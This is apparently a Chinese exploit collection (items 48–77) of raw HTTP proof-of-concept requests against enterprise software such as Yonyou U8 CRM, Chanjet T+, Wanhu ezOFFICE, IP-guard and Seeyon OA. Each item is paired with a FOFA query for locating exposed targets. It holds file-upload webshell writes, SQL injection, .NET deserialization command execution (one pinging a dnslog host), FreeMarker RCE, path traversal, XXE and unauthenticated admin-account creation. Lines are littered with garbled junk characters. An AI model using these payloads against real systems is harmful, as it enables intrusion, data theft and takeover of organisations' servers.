User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' q8 x# ?/ b% U. Q+ Q8 s% u( eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 n( x- d# v, \5 KAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
: _  x5 a3 z8 C; F$ Z6 I7 GConnection: close



48. 用友U8 CRM swfupload 任意文件上传
& B1 {6 h. }9 U+ ]1 yFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
0 T# |0 N/ Q1 j4 q2 F# |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 ^! }9 B1 I: j/ ]/ p8 _3 ZContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
& m" e: \5 I1 S------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
; ~) z2 v6 t% ~+ e4 `' h+ BContent-Type: application/octet-stream
. m! l2 ?  D7 e0 [# G) S------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--

5 A2 A0 J( ]' |6 L1 W6 B3 Q
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
+ K9 U% E& \8 {- N* s
  n" J6 q" {4 h# hPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
8 N: Y( J% K  x1 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
0 g# C! h* }1 R& v: C1 l7 bContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& c9 j5 a% O- m/ T  R+ [1 HConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
) u3 m. h6 F4 M/ b+ ?' v" C- s9 e2 _! PContent-Disposition: form-data; name="upload"

+ N1 L! v, K4 N6 D3 ?upload
  ~+ q5 C  w( C/ n; K. U( P-----------------------------vvv3wdayqv3yppdxvn3w--
7 \3 P  \% O2 w& y. y
& `2 a8 A5 a$ }0 Q4 N
  v3 E2 D# b/ l1 V8 \$ `- N3 c+ Z; ?http://x.x.x.x/tmpfile/updB3CB.tmp.php
- j; m% T; D9 ^6 J0 ~* h* z* u
50. QDocs Smart School 6.4.1 filterRecords SQL注入
& m2 d. ^2 v6 h  i# {% O! VFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
, a* I1 \4 _# ~/ lHost: x.x.x.x
) F2 Y0 v" G9 z2 |User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  X$ R) u: I& ^) H# kConnection: close
# a3 F6 m8 A% R  T& M6 @Content-Length: 224
. D$ y: W" v5 d1 n. ]Accept: */*
9 N& k3 Z2 k* qAccept-Language: en
& v2 o' e+ D9 s7 Q+ l7 S% M% IContent-Type: application/x-www-form-urlencoded
' G% e. ?6 I  R) MAccept-Encoding: gzip
: l4 S% x! A2 V) I* T
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

3 p+ X: E4 _' y' T
/ I# p% |" u, O' Q6 r5 F51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
3 s  h2 M/ p; U0 \8 L) q! T2 H2 kHost: your-ip
- \2 Z# p$ C2 D5 ~2 k+ \User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 z) E* i# X8 I3 z$ d0 |& j6 KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' q1 O$ l0 d. e/ z$ WConnection: close
. H/ _* y. f! u
- a7 p, d- p2 }; o9 T4 M$ c
  d% v3 y  ]9 K9 D, Z, s52. 泛微E-Office json_common.php sql注入
$ w8 n% m7 R& ?8 e; e% h- Q7 zFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
; y% d% j' r; \4 M6 x* _3 NUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. D% x6 ~) @; B/ K3 L4 b1 NConnection: close
Content-Length: 87
( m+ t& h( x, V5 A; ?2 FAccept: */*
$ p( U/ r( q# u  `; iAccept-Language: en
# H1 H' N3 P# tContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 u. j0 [: V& ?& f. q/ O5 E
! J7 K7 V+ |: w5 etfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
; k. I6 h7 ^! ^2 I
% l: W: b  A( i! @% b; c  Q
53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
# a  X' [# x3 X$ v# J' a) E
0 l# i8 z9 G2 F/ K
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
! T, J4 L  z4 d6 L' c. L
$ t: o- b5 Y: C- t
: G( Y: w; h3 @6 x完整数据包
2 ?& n% H7 J6 d0 R1 ^& HPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
' l/ ?  P( J- c" I7 p) RHost: x.x.x.x
: _: m6 R6 r. u! x3 A+ b, sUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
& {7 u/ d# C( E! {' P$ ?( z1 y  "ObjectInstance":{
/ \& N# d) @0 a% ~% H$ [+ R   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
/ U8 d! P3 n/ G' ?5 [   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
3 H: T' X* M  h; [9 ?    }
+ T; d3 T8 I: b( ~0 D  }
0 E' ?& M! X1 H1 G7 x. D( m  }
}
+ L' u$ e& f: L6 |' p

第二步，访问如下url
5 u2 g# o' i, Z7 S9 C# |1 d, [- \/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
2 A1 j+ y- O. d7 @9 l0 ~
/ ^- S& W  {8 _+ t$ E; R& \5 X
) u0 z$ m, X- E% v: D55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
) t7 l2 ^' Z! G6 Q+ ~  J8 J第二步，利用获取到的Cookie请求
+ O) ?: Q- o( `+ Y. N3 a. [/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

/ H' H* c# C0 j, G8 f+ a' g0 N56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
' v! v: L  z7 z5 h7 mPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
+ }, F( p6 ]( q/ wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

2 E5 m4 l1 H; @) n! B{
9 {& W  @0 ^3 u4 D% W  "storeID":{
7 U/ j1 R- ?1 ~! P    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
9 o. Z$ M& v3 w- o* i& [   "MethodName":"Start",
( H( w0 h- W7 i% V$ V    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
  ]5 ]8 M" I4 R5 T6 D; }        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
, g$ P5 o% {  k+ ^           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
9 B  U/ c2 ?- w  }
+ T) g: r% D$ @+ M( Z}
6 O% @( P+ \1 X# Q6 H7 k

57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
9 P* F- Q8 Z' `% [9 [User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
9 a1 z$ Z" f' s$ @- m  Q& k) cAccept-Charset: utf-8
$ t- |6 `2 u% n# O7 dAccept-Encoding: gzip, deflate
# G4 o  b4 S. R& u2 JConnection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
7 g5 h# `$ J+ s3 H2 [$ h; X' ZHost: your-ip
5 s$ ~, G; N; |  d6 g( ~User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
% T# q7 z) `/ k% V7 U3 n  \Accept-Encoding: gzip, deflate
! X: u' W2 X" M1 hConnection: close

2 R4 A; F! U+ B0 d( }1 O+ Q) F- n4 z
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
; c+ K5 D2 B* J& Z% B* K1 bPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
4 `. Q/ O" u" ?% DUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
2 y- u  U/ q! L( HContent-Length: 1669
Accept: */*
% [+ D/ Z) o8 V, pAccept-Language: en
Content-Type: application/x-www-form-urlencoded
8 o( Y9 _$ d$ L, y9 \  D4 LAccept-Encoding: gzip

7 w7 @$ d' v" V- H8 y" G$ lPAYLOAD

- N' ~% _& A  u
# A" o" Z. g: B+ W& l5 w1 x60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
7 q; f4 J3 S6 E9 ?# W0 w+ wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Z6 |6 }. D, \+ wAccept-Encoding: gzip, deflate
! D7 n* E6 A$ K2 YAccept-Language: zh-CN,zh;q=0.9
0 e9 d) d( ]( GConnection: close
- N" e. S& v6 j2 ~& ]

, D+ y8 ~) x  G61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
- b/ A/ \+ A! z& ZPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
9 f+ E$ F% ?4 sHost: x.x.x.x
  m8 H" T9 f4 J6 Y1 e" P7 X" A2 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
9 ]/ R1 x' s2 ?4 cContent-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
/ y: z+ Q; r% \Accept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa
. H: w) \7 ]9 l2 G+ a

1 x* J3 H/ ^9 a7 h4 z1 P62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
9 g2 @% b+ R0 t% ?+ v* B7 x, \  [8 J& ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
- r3 U3 e; l. c' T% tConnection: close
8 c+ J0 v/ o' K7 H* gAccept: */*
' u2 C$ u! e  Y1 i' o! b# E+ bAccept-Language: en
. ?# A$ b0 C/ l  w  {! yAccept-Encoding: gzip
! r$ d6 N9 k; C9 k

2 V- O- b. B2 `访问

# ?( A: M4 _3 Q% F3 J7 x6 `: XGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
" K$ I5 {/ x* ?; \. z+ L3 M

63. IP-guard WebServer任意文件读取
- M4 M2 Y6 v/ P+ h, K/ }! z& t; OIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
' n, ~5 w( L. n0 \5 a$ MAccept-Language: zh-CN,zh;q=0.9
Connection: close
% V4 |! U' V: V* L% qContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
8 I) P* ^! c# H% ~* w( {
% @4 l1 N/ x5 ~$ k; w) H& S64. 捷诚管理信息系统CWSFinanceCommon SQL注入
2 ~4 _0 w: ~7 j' J  c2 mFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
5 c+ O0 D7 _/ ~' Q& eAccept: */*
Accept-Language: en
  }- u0 Q" Z% K& ~* wContent-Type: text/xml; charset=utf-8
! h2 Z0 f* k4 c; c/ WAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
& c6 k# T  c4 ?7 k' w. c<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
5 Q9 q6 M2 [( h<soap:Body>
& i2 V4 Y- ^6 q5 B; u/ m8 H    <GetOSpById xmlns="http://tempuri.org/">
1 t, Q' N7 O! c4 x- u      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  W( L7 `; I* h$ t; Z5 q$ k  </soap:Body>
- L4 U9 v8 j. l+ U; h</soap:Envelope>

* D5 o2 f8 E2 l
' Q& H4 ~6 S' {) j1 P& }65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
7 s! x. y8 M- T* ^7 U9 g+ mFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
2 C, _  h- j9 B6 a+ U6 BPOST /SystemMng.ashx HTTP/1.1
$ F. @5 Q: D4 r) C$ e. b, QHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
3 O% V0 M3 ?( {9 [& I+ k  VAccept-Encoding: gzip, deflate
Accept: */*
: o  q! ]  S6 @- @- pConnection: close
Accept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


( E) |. k" ~6 }# b' I8 \66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
* p0 k& H1 F: \' w9 z9 W2 NFOFA：app="万户ezOFFICE协同管理平台"

" F7 \% W! F; W5 \; G: {GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
) V- p$ g* o2 T# WHost: x.x.x.x
. Y$ x% W5 u* e2 |+ E1 [8 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
5 W7 m' q- O$ s: cAccept: */*
Accept-Language: en
( T  R( n/ X3 DAccept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
4 v7 F& t- N1 M' i
67. 万户ezOFFICE wpsservlet任意文件上传
9 ?& {  ]: p! p" u: W  PFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
$ m$ w+ o6 w9 [" [+ A7 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
# {; i' u3 }# p- ?9 N( IContent-Length: 173
( |8 q3 ?/ b+ S# l: p+ k/ aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
: T& t. S8 ?$ G" HAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
& e% ~7 E# s0 W- G) iConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
* m: ], p$ M4 ^- w% a2 R, ]Upgrade-Insecure-Requests: 1
5 t% X4 d* I9 E8 h- p- p
* R7 q- j: o8 k6 ^7 w* J--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

5 |9 i8 {; P8 ~2 [<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
; T' Z7 x: c- F. }

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
0 v+ R1 J" v; E
# n& f6 t; u3 P& D& @8 f) s68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
( U( o* @& }% D# ?, \GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
8 F) ]1 Q1 m# w9 s9 N- S8 bAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
: o. l4 P0 I/ A4 \' s9 MAccept-Language: zh-CN,zh;q=0.9
Connection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
3 d/ K% e; t' g+ h* U  Y, hHost: your-ip
$ g4 R& i( B# K; [User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
' y% w8 C: r3 M) r6 n" g5 G$ rAccept: */*
/ z% p5 X2 @/ O1 @Connection: keep-alive

8 M' q+ e! j7 q$ `+ S5 C$ _' m
$ ]( j) L, O( {. y) Z70. 万户ezEIP success 命令执行
) J/ G, h8 [+ J# u! ^" z0 OFOFA：app="万户网络-ezEIP"
1 b2 u8 Y4 f# B# W$ j( v  ]POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
: `4 f1 I& `: p1 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
& Y: w7 R0 t$ S* ^5 x, wSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
, `4 o9 Y% b2 P- S) A: nContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702
8 W" G0 g; \7 o6 a3 I1 |) o
9 I* U: r3 ~( l2 I__VIEWSTATE=PAYLOAD
! E0 z! Z" {% [

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
4 q2 z) h* R* b" tFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
& u7 E, t* F/ b+ H  C$ nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 _+ i0 T0 K7 q' Y% T) [Upgrade-Insecure-Requests: 1
3 ]* m8 Z1 V  F% F% u$ }( @

0 ]7 L6 g5 P  {5 x. h  Q# P3 \72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
, q3 s$ m- V3 qUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
& {) e* c8 c- h1 T4 B; f+ A, \Content-Length: 583
; j5 l# I% b) b8 xContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
3 }8 u5 d1 o& M$ d! x: x8 ]
7 O% i/ |2 c' `7 s+ a
73. GeoServer wms远程代码执行
- S* [# H0 }, _( ^$ iFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
8 i* K2 H; g- D) i' {Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) p8 K. l; r. L, [Content-Length: 1981
1 B( K; V4 d9 J& D. H+ f: JAccept-Encoding: gzip, deflate
1 k% q4 I8 |; P+ w( e* r6 _Connection: close
Content-Type: application/xml
4 f6 O  ~9 T3 A3 cSL-CE-SUID: 3

PAYLOAD

& l9 o5 A  E2 J/ {/ `
8 o$ F+ w3 T* c; w% c74. 致远M3-server 6_1sp1 反序列化RCE
2 [; s/ h; w; B6 G& A; FFOFA：title="M3-Server"
& F1 s9 u5 C, s8 ?  PPAYLOAD
: C( Q+ h) |% B( Y  Z) G) v
/ N0 r$ L8 q; i. z75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
- D; I/ \0 q8 W4 G" \9 h/ P* W% RAccept: */*
Accept-Language: en
Accept-Encoding: gzip


& i0 I0 k! u7 N% ]5 ~4 z6 VGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
# ~1 S" g$ _$ D
  [5 [6 U, O: z
76. 新开普掌上校园服务管理平台service.action远程命令执行
1 v. E% n) g) g8 u; xFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
. G/ L, ~) N7 C: n; ZHost: x.x.x.x
' f% d5 e/ P+ s4 x7 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; H" F/ {4 V( v; m1 _/ {+ `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! c4 N3 g& @- I2 W0 o  \Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
! S# k# o" G6 T3 {  W9 _"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
2 v7 B+ p7 ]8 [; g+ [+ v, Z6 ]/ Q  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
4 I4 J+ V. k9 ~% Q6 O}

# E" c, I2 s# x' S, a
1 y. ]6 C; F' T& o, oGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
! F1 L0 X+ \% ]3 K- h! i, E; _
* ^1 Z( m8 ]: K8 B" C4 {0 ^
' ?0 I- {* Q/ N0 k
2 Z  e1 e$ {6 K3 c* v0 p# u77. F22服装管理软件系统UploadHandler.ashx任意文件上传
. r  o2 W8 `2 ]% @  D7 EFOFA：body="F22WEB登陆"
